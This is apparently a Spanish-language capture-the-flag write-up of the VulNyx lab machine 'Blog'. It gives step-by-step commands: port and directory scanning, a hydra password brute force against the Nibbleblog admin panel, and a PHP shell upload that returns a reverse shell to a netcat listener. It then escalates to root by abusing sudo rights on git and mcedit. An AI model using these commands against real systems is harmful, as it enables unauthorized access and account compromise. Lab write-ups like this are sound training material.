VulNyx - Blog

logo

  • Brute Force HTTP
  • Upload Shell
  • Abuse Git Binary
  • Abuse Mcedit Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.53

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80, 192.168.1.53

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 569bdd56a5c1e352a84246185e0c1286 (RSA)
|   256 1bd2cc5921501b3919771d28c0bec682 (ECDSA)
|_  256 9ce741b6ad03edf5a14ccc0a50791c20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Realizo fuerza bruta de directorios y encuentro el directorio my_weblog.

❯ wfuzz -c -t 200 --hc=404 --hl=6 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.65/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.65/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                          
=====================================================================
000007428:   301        9 L      28 W       308 Ch      "my_weblog"

Visito el nuevo directorio y veo que se trata de un blog en construcción y encuentro un posible usuario con el nombre admin.

blog

Enumero el nuevo directorio.

❯ wfuzz -c -t 200 --hc=404 --hl=64 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.65/my_weblog/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.65/my_weblog/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000127:   301        9 L      28 W       315 Ch      "themes"                                                                                                                                        
000000075:   301        9 L      28 W       316 Ch      "content"                                                                                                                                       
000000519:   301        9 L      28 W       316 Ch      "plugins"                                                                                                                                       
000000897:   200        32 L     115 W      902 Ch      "README"                                                                                                                                        
000000935:   301        9 L      28 W       318 Ch      "languages"                                                                                                                                     
000000259:   301        9 L      28 W       314 Ch      "admin" 

Me voy a admin y me sale un panel de login.

adminnibbleblog

Uso hydra para hacer fuerza bruta al usuario admin.

❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.53 http-post-form "/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect" -I -f -V
[80][http-post-form] host: 192.168.1.53   login: admin   password: k****s

Investigando un poco encuentro un poc para subir una shell así que me logueo a la web y me voy a Plugins.

dashboard

Hago click en My image y subo la shell.

pluginIamgeUpload

Leyendo al documentación me dice lo siguiente:

Upload PHP shell, ignore warnings
Visit
http://localhost/nibbleblog/content/private/plugins/my_image/image.php.
This is the default name of images uploaded via the plugin.

Dejo un netcat a la escucha y con curl mando una petición a la ruta que me indica la documentación.

❯ curl -s "http://192.168.1.53/my_weblog/content/private/plugins/my_image/image.php"

Y obtengo la shell.

❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.53: inverse host lookup failed: Unknown host      
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.53] 44364
Linux blog 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
 13:01:01 up  1:04,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@blog:/$ 

Enumero permisos de sudo.

www-data@blog:/$ sudo -l

sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for www-data on blog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on blog:
    (admin) NOPASSWD: /usr/bin/git

Para pasar de usuario www-data a admin uso el siguiente recurso de gtfobins

sudo -u admin git -p help config
!/bin/bash

Una vez como usuario admin enumero permisos de sudo.

admin@blog:~$ sudo -l

sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for admin on blog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on blog:
    (root) NOPASSWD: /usr/bin/mcedit

Privesc

admin@blog:~$ sudo mcedit

Pulso las teclas alt + F y me desplazo con las flechas hasta la opción menú de Usuario.

mcedit_alt_f

Una vez dentro del menú de usuario selecciono Invoke shell.

mcedit_invoke_shel

Obtengo el root.

admin@blog:~$ sudo mcedit
sudo: unable to resolve host blog: No existe ninguna dirección asociada al nombre
#  /bin/sh /tmp/mc-root/mcusr5E5K51
# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Blog.

Saludos!